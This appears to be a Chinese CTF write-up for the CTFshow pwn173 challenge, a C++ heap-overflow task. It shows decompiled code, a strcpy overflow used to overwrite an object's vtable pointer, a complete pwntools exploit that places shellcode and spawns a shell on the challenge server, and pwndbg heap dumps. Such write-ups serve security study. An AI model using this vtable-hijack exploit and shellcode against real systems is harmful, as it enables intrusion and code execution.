CTFshow-pwn173

[!NOTE]

HeapOverflow?似乎这次的不太一样

  • 远程环境:Ubuntu 18.04

libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1

检查保护,这是一道 CPP 写的题,有可读可写可执行的段 (bushi)

checksec 没用,看段也没用,这道题本地段的读写执行权限和远程不一样,题目有点问题,下面的脚本远程可以打通

现在来 ida 中阅读程序流程,大致如下

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rdi
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_401277(a1, a2, a3);
  sub_4012BA();
  std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to CTFshow\n");
  std::operator<<<std::char_traits<char>>(&std::cout, "Build your own zoo\n");
  std::operator<<<std::char_traits<char>>(&std::cout, "Name of Your zoo :");
  read(0, &unk_605380, 0x64u);
  while ( 1 )
  {
    sub_40135D();
    std::operator<<<std::char_traits<char>>(&std::cout, "Your choice :");
    std::istream::operator>>(&std::cin, &v4);
    std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
    switch ( v4 )
    {
      case 1:
        add_dog();
        break;
      case 2:
        add_cat();
        break;
      case 3:
        listen();
        break;
      case 4:
        show();
        break;
      case 5:
        remove();
        break;
      case 6:
        _exit(0);
      default:
        v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild choice");
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
        break;
    }
  }
}
unsigned __int64 add_dog()
{
  __int64 v0; // rbx
  unsigned int v2; // [rsp+Ch] [rbp-74h] BYREF
  __int64 v3; // [rsp+10h] [rbp-70h] BYREF
  __int64 v4; // [rsp+18h] [rbp-68h]
  _BYTE v5[32]; // [rsp+20h] [rbp-60h] BYREF
  _BYTE v6[40]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  std::string::basic_string(v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
  std::operator>><char>(&std::cin, v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
  std::istream::operator>>(&std::cin, &v2);
  std::string::basic_string(v6, v5);
  v0 = operator new(0x28u);
  init_dog(v0, v6, v2);
  v4 = v0;
  std::string::~string(v6);
  v3 = v4;
  push_ptr(&unk_6053F0, &v3);
  std::string::~string(v5);
  return __readfsqword(0x28u) ^ v7;
}
__int64 __fastcall init_dog(__int64 a1, __int64 a2, int a3)
{
  const char *v3; // rax
  __int64 result; // rax

  sub_401C1E(a1);
  *(_QWORD *)a1 = off_604D80;
  v3 = (const char *)std::string::c_str(a2);
  strcpy((char *)(a1 + 8), v3);                 // 无长度检查,溢出 name[0x18]
  result = a1;
  *(_DWORD *)(a1 + 32) = a3;
  return result;
}
unsigned __int64 add_cat()
{
  __int64 v0; // rbx
  unsigned int v2; // [rsp+Ch] [rbp-74h] BYREF
  __int64 v3; // [rsp+10h] [rbp-70h] BYREF
  __int64 v4; // [rsp+18h] [rbp-68h]
  _BYTE v5[32]; // [rsp+20h] [rbp-60h] BYREF
  _BYTE v6[40]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  std::string::basic_string(v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
  std::operator>><char>(&std::cin, v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
  std::istream::operator>>(&std::cin, &v2);
  std::string::basic_string(v6, v5);
  v0 = operator new(0x28u);
  init_cat(v0, v6, v2);
  v4 = v0;
  std::string::~string(v6);
  v3 = v4;
  push_ptr((__int64)&unk_6053F0, (__int64)&v3);
  std::string::~string(v5);
  return __readfsqword(0x28u) ^ v7;
}
__int64 __fastcall init_cat(__int64 a1, __int64 a2, int a3)
{
  const char *v3; // rax
  __int64 result; // rax

  sub_401C1E(a1);
  *(_QWORD *)a1 = off_604D60;
  v3 = (const char *)std::string::c_str(a2);
  strcpy((char *)(a1 + 8), v3);
  result = a1;
  *(_DWORD *)(a1 + 32) = a3;
  return result;
}
unsigned __int64 listen()
{
  __int64 v0; // rax
  unsigned __int64 v1; // rbx
  __int64 v2; // rax
  _QWORD *v3; // rax
  unsigned int v5; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  if ( sub_402050(&unk_6053F0) )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
    std::istream::operator>>(&std::cin, &v5);
    v1 = v5;
    if ( v1 < sub_402050(&unk_6053F0) )
    {
      v3 = (_QWORD *)sub_402076(&unk_6053F0, v5);// vtable[0](animal)
      (**(void (__fastcall ***)(_QWORD))*v3)(*v3);
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v6;
}
unsigned __int64 show()
{
  __int64 v0; // rax
  unsigned __int64 v1; // rbx
  __int64 v2; // rax
  _QWORD *v3; // rax
  unsigned int v5; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  if ( sub_402050(&unk_6053F0) )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
    std::istream::operator>>(&std::cin, &v5);
    v1 = v5;
    if ( v1 < sub_402050(&unk_6053F0) )
    {
      v3 = (_QWORD *)sub_402076(&unk_6053F0, v5);
      (*(void (__fastcall **)(_QWORD))(*(_QWORD *)*v3 + 8LL))(*v3);// vtable[1](animal)
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v6;
}
unsigned __int64 remove()
{
  __int64 v0; // rax
  unsigned __int64 v1; // rbx
  __int64 v2; // rax
  void **v3; // rax
  __int64 v4; // rbx
  unsigned int v6; // [rsp+Ch] [rbp-34h] BYREF
  __int64 v7; // [rsp+10h] [rbp-30h] BYREF
  __int64 v8; // [rsp+18h] [rbp-28h] BYREF
  __int64 v9; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v10; // [rsp+28h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  if ( sub_402050(&unk_6053F0) )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
    std::istream::operator>>(&std::cin, &v6);
    v1 = v6;
    if ( v1 < sub_402050(&unk_6053F0) )
    {
      v3 = (void **)sub_402076(&unk_6053F0, v6);
      operator delete(*v3, 0x28u);
      v4 = v6;
      v7 = sub_402096(&unk_6053F0);
      v8 = sub_4020DE(&v7, v4);
      sub_402140(&v9, &v8);
      sub_40216A(&unk_6053F0, v9);
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v10;
}

很遗憾的是,这个反编译出的代码太乱太杂了,我没能细致的分析理解透,大致需要掌握的有下面几点

执行 Add() 函数,堆上大概会出现两块东西:

[Dog / Cat 对象 chunk]
user data:
+0x00 vptr = Dog_vtable / Cat_vtable
+0x08 name = 你的输入
+0x20 weight = 你的输入

[vector底层数组chunk]
zoo.begin[0] = Dog / Cat 对象地址

Listen() 函数,程序会执行:

Animal *p = zoo.begin[idx];
p->vptr[0](p);

Show() 函数,程序会执行:

Animal *p = zoo.begin[idx];
p->vptr[1](p);

执行 Remove() 函数,先 delete 这个动物对象,再把它从 zoo 指针数组里删掉,后面的元素往前挪

由于 name 处可读可写可执行,所以利用链如下

  • read(0, zoo_name, 0x64),拿到一块固定全局可控内存
  • 把 shellcode 放进 zoo_name
  • 申请两个 Animal
  • 删除前一个,让新的对象复用它的 chunk
  • strcpy 溢出覆盖后一个对象的 vptr
  • 再走 obj->vptr->f0(obj),程序就跳到你伪造的地址
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

# io = process('./pwn173')
io = remote("pwn.challenge.ctf.show",28123)

# io = gdb.debug('./pwn173', gdbscript='b *0x4015C3\nb *0x401840\nc')

def add_dog(name, weight):
    io.sendlineafter(b"Your choice :", b"1")
    io.sendlineafter(b"Name : ", name)
    io.sendlineafter(b"Weight : ", str(weight).encode())

def add_cat(name, weight):
    io.sendlineafter(b"Your choice :", b"2")
    io.sendlineafter(b"Name : ", name)
    io.sendlineafter(b"Weight : ", str(weight).encode())

def listen(i):
    io.sendlineafter(b"Your choice :", b"3")
    io.sendlineafter(b"index of animal : ", str(i).encode())

def show(i):
    io.sendlineafter(b"Your choice :", b"4")
    io.sendlineafter(b"index of animal : ", str(i).encode())

def remove(i):
    io.sendlineafter(b"Your choice :", b"5")
    io.sendlineafter(b"index of animal : ", str(i).encode())

ZOO_NAME = 0x605380

shellcode = asm(shellcraft.sh())
fake_vtable = ZOO_NAME + len(shellcode)

io.recvuntil(b"Name of Your zoo :")
io.sendline(shellcode + p64(ZOO_NAME))

add_dog(b"aaaa", 0)
add_dog(b"bbbb", 1)
remove(0)
add_dog(b"a" * 0x48 + p64(fake_vtable), 2)

listen(0)

io.interactive()

debug 一下看看细节

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd48000
Size: 0x250 (with flag bits: 0x251)

Allocated chunk | PREV_INUSE
Addr: 0x1dd48250
Size: 0x11c10 (with flag bits: 0x11c11)

Allocated chunk | PREV_INUSE
Addr: 0x1dd59e60
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x1dd59e90
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x1dd59eb0
Size: 0xf150 (with flag bits: 0xf151)

pwndbg> x/40gx 0x1dd59e60
0x1dd59e60:     0x0000000000000000      0x0000000000000031
0x1dd59e70:     0x0000000000604d80      0x0000000061616161
0x1dd59e80:     0x0000000000000000      0x0000000000000000
0x1dd59e90:     0x0000000000000000      0x0000000000000021
0x1dd59ea0:     0x000000001dd59e70      0x0000000000000000
0x1dd59eb0:     0x0000000000000000      0x000000000000f151
0x1dd59ec0:     0x0000000000000000      0x0000000000000000
0x1dd59ed0:     0x0000000000000000      0x0000000000000000
0x1dd59ee0:     0x0000000000000000      0x0000000000000000
0x1dd59ef0:     0x0000000000000000      0x0000000000000000
0x1dd59f00:     0x0000000000000000      0x0000000000000000
0x1dd59f10:     0x0000000000000000      0x0000000000000000
0x1dd59f20:     0x0000000000000000      0x0000000000000000
0x1dd59f30:     0x0000000000000000      0x0000000000000000
0x1dd59f40:     0x0000000000000000      0x0000000000000000
0x1dd59f50:     0x0000000000000000      0x0000000000000000
0x1dd59f60:     0x0000000000000000      0x0000000000000000
0x1dd59f70:     0x0000000000000000      0x0000000000000000
0x1dd59f80:     0x0000000000000000      0x0000000000000000
0x1dd59f90:     0x0000000000000000      0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd48000
Size: 0x250 (with flag bits: 0x251)

Allocated chunk | PREV_INUSE
Addr: 0x1dd48250
Size: 0x11c10 (with flag bits: 0x11c11)

Allocated chunk | PREV_INUSE
Addr: 0x1dd59e60
Size: 0x30 (with flag bits: 0x31)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1dd59e90
Size: 0x20 (with flag bits: 0x21)
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x1dd59eb0
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x1dd59ee0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x1dd59f00
Size: 0xf100 (with flag bits: 0xf101)

pwndbg> x/40gx 0x1dd59e60
0x1dd59e60:     0x0000000000000000      0x0000000000000031
0x1dd59e70:     0x0000000000604d80      0x0000000061616161
0x1dd59e80:     0x0000000000000000      0x0000000000000000
0x1dd59e90:     0x0000000000000000      0x0000000000000021
0x1dd59ea0:     0x0000000000000000      0x000000001dd48010
0x1dd59eb0:     0x0000000000000000      0x0000000000000031
0x1dd59ec0:     0x0000000000604d80      0x0000000062626262
0x1dd59ed0:     0x0000000000000000      0x0000000000000000
0x1dd59ee0:     0x0000000000000001      0x0000000000000021
0x1dd59ef0:     0x000000001dd59e70      0x000000001dd59ec0
0x1dd59f00:     0x0000000000000000      0x000000000000f101
0x1dd59f10:     0x0000000000000000      0x0000000000000000
0x1dd59f20:     0x0000000000000000      0x0000000000000000
0x1dd59f30:     0x0000000000000000      0x0000000000000000
0x1dd59f40:     0x0000000000000000      0x0000000000000000
0x1dd59f50:     0x0000000000000000      0x0000000000000000
0x1dd59f60:     0x0000000000000000      0x0000000000000000
0x1dd59f70:     0x0000000000000000      0x0000000000000000
0x1dd59f80:     0x0000000000000000      0x0000000000000000
0x1dd59f90:     0x0000000000000000      0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd48000
Size: 0x250 (with flag bits: 0x251)

Allocated chunk | PREV_INUSE
Addr: 0x1dd48250
Size: 0x11c10 (with flag bits: 0x11c11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1dd59e60
Size: 0x30 (with flag bits: 0x31)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1dd59e90
Size: 0x20 (with flag bits: 0x21)
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x1dd59eb0
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x1dd59ee0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x1dd59f00
Size: 0xf100 (with flag bits: 0xf101)

pwndbg> x/40gx 0x1dd59e60
0x1dd59e60:     0x0000000000000000      0x0000000000000031
0x1dd59e70:     0x0000000000000000      0x000000001dd48010
0x1dd59e80:     0x0000000000000000      0x0000000000000000
0x1dd59e90:     0x0000000000000000      0x0000000000000021
0x1dd59ea0:     0x0000000000000000      0x000000001dd48010
0x1dd59eb0:     0x0000000000000000      0x0000000000000031
0x1dd59ec0:     0x0000000000604d80      0x0000000062626262
0x1dd59ed0:     0x0000000000000000      0x0000000000000000
0x1dd59ee0:     0x0000000000000001      0x0000000000000021
0x1dd59ef0:     0x000000001dd59ec0      0x000000001dd59ec0
0x1dd59f00:     0x0000000000000000      0x000000000000f101
0x1dd59f10:     0x0000000000000000      0x0000000000000000
0x1dd59f20:     0x0000000000000000      0x0000000000000000
0x1dd59f30:     0x0000000000000000      0x0000000000000000
0x1dd59f40:     0x0000000000000000      0x0000000000000000
0x1dd59f50:     0x0000000000000000      0x0000000000000000
0x1dd59f60:     0x0000000000000000      0x0000000000000000
0x1dd59f70:     0x0000000000000000      0x0000000000000000
0x1dd59f80:     0x0000000000000000      0x0000000000000000
0x1dd59f90:     0x0000000000000000      0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd48000
Size: 0x250 (with flag bits: 0x251)

Allocated chunk | PREV_INUSE
Addr: 0x1dd48250
Size: 0x11c10 (with flag bits: 0x11c11)

Allocated chunk | PREV_INUSE
Addr: 0x1dd59e60
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x1dd59e90
Size: 0x6161616161616160 (with flag bits: 0x6161616161616161)

pwndbg> x/40gx 0x1dd59e60
0x1dd59e60:     0x0000000000000000      0x0000000000000031
0x1dd59e70:     0x0000000000604d80      0x6161616161616161
0x1dd59e80:     0x6161616161616161      0x6161616161616161
0x1dd59e90:     0x6161616100000002      0x6161616161616161
0x1dd59ea0:     0x6161616161616161      0x6161616161616161
0x1dd59eb0:     0x6161616161616161      0x6161616161616161
0x1dd59ec0:     0x00000000006053b0      0x0000000062626262
0x1dd59ed0:     0x0000000000000000      0x0000000000000000
0x1dd59ee0:     0x0000000000000001      0x0000000000000021
0x1dd59ef0:     0x000000001dd59ec0      0x000000001dd59e70
0x1dd59f00:     0x0000000000000000      0x0000000000000051
0x1dd59f10:     0x0000000000000000      0x000000001dd48010
0x1dd59f20:     0x6161616161616161      0x6161616161616161
0x1dd59f30:     0x6161616161616161      0x6161616161616161
0x1dd59f40:     0x6161616161616161      0x0000000061616161
0x1dd59f50:     0x0000000000000000      0x0000000000000091
0x1dd59f60:     0x0000000000000000      0x000000001dd48010
0x1dd59f70:     0x6161616161616161      0x6161616161616161
0x1dd59f80:     0x6161616161616161      0x6161616161616161
0x1dd59f90:     0x6161616161616161      0x6161616161616161
posted @ 2026-08-10 16:27  AurY1n  阅读(3)  评论(0)    收藏  举报